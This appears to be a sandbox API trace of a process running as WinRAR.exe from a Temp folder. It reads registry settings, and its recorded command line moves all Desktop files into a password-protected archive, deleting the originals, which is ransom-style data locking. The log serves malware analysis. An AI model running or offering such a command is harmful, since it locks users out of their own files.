[0060.723] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.723] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Background", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.723] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.723] GetLastError () returned 0x5b0 [0060.723] SetLastError (dwErrCode=0x5b0) [0060.723] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.723] RegQueryValueExW (in: hKey=0x2f0, lpValueName="WaitForOther", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.723] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.723] GetLastError () returned 0x5b0 [0060.723] SetLastError (dwErrCode=0x5b0) [0060.723] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.723] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Shutdown", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.723] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.723] GetLastError () returned 0x5b0 [0060.723] SetLastError (dwErrCode=0x5b0) [0060.723] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.724] RegQueryValueExW (in: hKey=0x2f0, lpValueName="GenerateArcName", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.724] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.724] GetLastError () returned 0x5b0 [0060.724] SetLastError (dwErrCode=0x5b0) [0060.724] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.724] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VersionControl", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.724] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.724] GetLastError () returned 0x5b0 [0060.724] SetLastError (dwErrCode=0x5b0) [0060.724] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.724] RegQueryValueExW (in: hKey=0x2f0, lpValueName="BLAKE2", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.724] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.724] GetLastError () returned 0x5b0 [0060.724] SetLastError (dwErrCode=0x5b0) [0060.724] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.724] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileCopies", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.724] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.724] GetLastError () returned 0x5b0 [0060.724] SetLastError (dwErrCode=0x5b0) [0060.724] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.724] RegQueryValueExW (in: hKey=0x2f0, lpValueName="QuickOpen", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x1, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.724] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.724] GetLastError () returned 0x5b0 [0060.724] SetLastError (dwErrCode=0x5b0) [0060.724] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.724] RegQueryValueExW (in: hKey=0x2f0, lpValueName="GenerateMask", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0x7ff6f762a81a, lpcbData=0xe414f9ae0*=0x100 | out: lpType=0xe414f9ae4*=0x1, lpData="yyyymmddhhmmss", lpcbData=0xe414f9ae0*=0x1e) returned 0x0 [0060.724] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.724] GetLastError () returned 0x5b0 [0060.724] SetLastError (dwErrCode=0x5b0) [0060.724] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.724] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileTimeMode", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.725] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.725] GetLastError () returned 0x5b0 [0060.725] SetLastError (dwErrCode=0x5b0) [0060.725] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.725] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileDays", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.725] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.725] GetLastError () returned 0x5b0 [0060.725] SetLastError (dwErrCode=0x5b0) [0060.725] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.725] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileHours", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.725] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.725] GetLastError () returned 0x5b0 [0060.725] SetLastError (dwErrCode=0x5b0) [0060.725] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.725] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileMinutes", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.725] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.725] GetLastError () returned 0x5b0 [0060.725] SetLastError (dwErrCode=0x5b0) [0060.725] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.725] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcTimeOriginal", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.725] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.725] GetLastError () returned 0x5b0 [0060.725] SetLastError (dwErrCode=0x5b0) [0060.725] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.725] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcTimeLatest", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.725] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.725] GetLastError () returned 0x5b0 [0060.725] SetLastError (dwErrCode=0x5b0) [0060.725] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.725] RegQueryValueExW (in: hKey=0x2f0, lpValueName="mtime", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x4, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.726] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.726] GetLastError () returned 0x5b0 [0060.726] SetLastError (dwErrCode=0x5b0) [0060.726] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.726] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ctime", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.726] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.726] GetLastError () returned 0x5b0 [0060.726] SetLastError (dwErrCode=0x5b0) [0060.726] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.726] RegQueryValueExW (in: hKey=0x2f0, lpValueName="atime", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.726] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.726] GetLastError () returned 0x5b0 [0060.726] SetLastError (dwErrCode=0x5b0) [0060.726] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.726] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PathsAbs", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.726] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.726] GetLastError () returned 0x5b0 [0060.726] SetLastError (dwErrCode=0x5b0) [0060.726] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.726] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PathsNone", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.726] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.726] GetLastError () returned 0x5b0 [0060.726] SetLastError (dwErrCode=0x5b0) [0060.726] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.726] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PathsAbsDrive", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.726] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.726] GetLastError () returned 0x5b0 [0060.726] SetLastError (dwErrCode=0x5b0) [0060.726] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.726] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ImmExec", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.726] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.726] GetLastError () returned 0x5b0 [0060.727] SetLastError (dwErrCode=0x5b0) [0060.727] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.727] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SeparateArc", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.727] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.727] GetLastError () returned 0x5b0 [0060.727] SetLastError (dwErrCode=0x5b0) [0060.727] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.727] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SeparateArcDoubleExt", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.727] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.727] GetLastError () returned 0x5b0 [0060.727] SetLastError (dwErrCode=0x5b0) [0060.727] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.727] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SeparateArcSubfolders", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.727] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.727] GetLastError () returned 0x5b0 [0060.727] SetLastError (dwErrCode=0x5b0) [0060.727] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.727] RegQueryValueExW (in: hKey=0x2f0, lpValueName="EmailArcTo", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0x7ff6f762aa34, lpcbData=0xe414f9ae0*=0x1000 | out: lpType=0xe414f9ae4*=0x1, lpData="", lpcbData=0xe414f9ae0*=0x2) returned 0x0 [0060.727] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.727] GetLastError () returned 0x5b0 [0060.727] SetLastError (dwErrCode=0x5b0) [0060.727] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.727] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PackDetails", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0xe414fa3d0, lpcbData=0xe414f9ae0*=0xc0 | out: lpType=0xe414f9ae4*=0x3, lpData=0xe414fa3d0*, lpcbData=0xe414f9ae0*=0xc0) returned 0x0 [0060.727] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.727] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0060.727] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x60) returned 0x1ec0a5c4b80 [0060.727] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4b80 | out: hHeap=0x1ec0a590000) returned 1 [0060.727] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xa) returned 0x1ec0a64bb10 [0060.727] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64bb10 | out: hHeap=0x1ec0a590000) returned 1 [0060.727] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xa) returned 0x1ec0a64bf50 [0060.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.728] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64bf50 | out: hHeap=0x1ec0a590000) returned 1 [0060.728] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1e) returned 0x1ec0a649b90 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.728] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649b90 | out: hHeap=0x1ec0a590000) returned 1 [0060.728] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x14) returned 0x1ec0a64be50 [0060.728] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64be50 | out: hHeap=0x1ec0a590000) returned 1 [0060.728] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8) returned 0x1ec0a5a6810 [0060.728] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a6810 | out: hHeap=0x1ec0a590000) returned 1 [0060.728] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0xe414fea90 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0060.728] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0060.728] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x60) returned 0x1ec0a5c4e90 [0060.728] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4e90 | out: hHeap=0x1ec0a590000) returned 1 [0060.728] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xa) returned 0x1ec0a64bb70 [0060.728] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64bb70 | out: hHeap=0x1ec0a590000) returned 1 [0060.728] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xa) returned 0x1ec0a64beb0 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iicon", cchCount2=5) returned 3 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iimg", cchCount2=4) returned 3 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iadm", cchCount2=4) returned 3 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="an=", cchCount2=3) returned 3 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="anf=", cchCount2=4) returned 3 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="setup_integration", cchCount2=17) returned 1 [0060.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="elevate", cchCount2=7) returned 3 [0060.728] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64beb0 | out: hHeap=0x1ec0a590000) returned 1 [0060.728] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1e) returned 0x1ec0a649c20 [0060.728] GetLastError () returned 0x5b0 [0060.728] SetLastError (dwErrCode=0x5b0) [0060.729] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0xe414f5f80 | out: phkResult=0xe414f5f80*=0x0) returned 0x2 [0060.729] GetLastError () returned 0x5b0 [0060.729] SetLastError (dwErrCode=0x5b0) [0060.729] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f6750 | out: phkResult=0xe414f6750*=0x0) returned 0x2 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=5, lpString2="iicon", cchCount2=5) returned 3 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iimg", cchCount2=4) returned 3 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iadm", cchCount2=4) returned 3 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=3, lpString2="an=", cchCount2=3) returned 3 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="anf=", cchCount2=4) returned 3 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=12, lpString2="setup_integration", cchCount2=17) returned 1 [0060.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=7, lpString2="elevate", cchCount2=7) returned 3 [0060.729] GetSystemDirectoryW (in: lpBuffer=0xe414f6ca0, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0060.729] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\Crypt32.dll") returned 0x7ff92e880000 [0060.734] GetProcAddress (hModule=0x7ff92e880000, lpProcName="CryptProtectMemory") returned 0x7ff92d8c1770 [0060.737] GetProcAddress (hModule=0x7ff92e880000, lpProcName="CryptUnprotectMemory") returned 0x7ff92d8c17a0 [0060.737] CryptProtectMemory (in: pDataIn=0x7ff6f7629670, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x7ff6f7629670) returned 1 [0060.739] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649c20 | out: hHeap=0x1ec0a590000) returned 1 [0060.739] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x14) returned 0x1ec0a64bb30 [0060.739] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64bb30 | out: hHeap=0x1ec0a590000) returned 1 [0060.739] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8) returned 0x1ec0a5a6880 [0060.739] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x40) returned 0x1ec0a5bd0f0 [0060.739] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a6880 | out: hHeap=0x1ec0a590000) returned 1 [0060.739] GetFileAttributesW (lpFileName="Desktop" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop")) returned 0xffffffff [0060.739] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xe414f8660 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0060.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop")) returned 0xffffffff [0060.739] GetFileAttributesW (lpFileName="Desktop.rar" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.rar")) returned 0xffffffff [0060.740] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xe414f8630 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0060.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\Desktop.rar" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.rar")) returned 0xffffffff [0060.740] 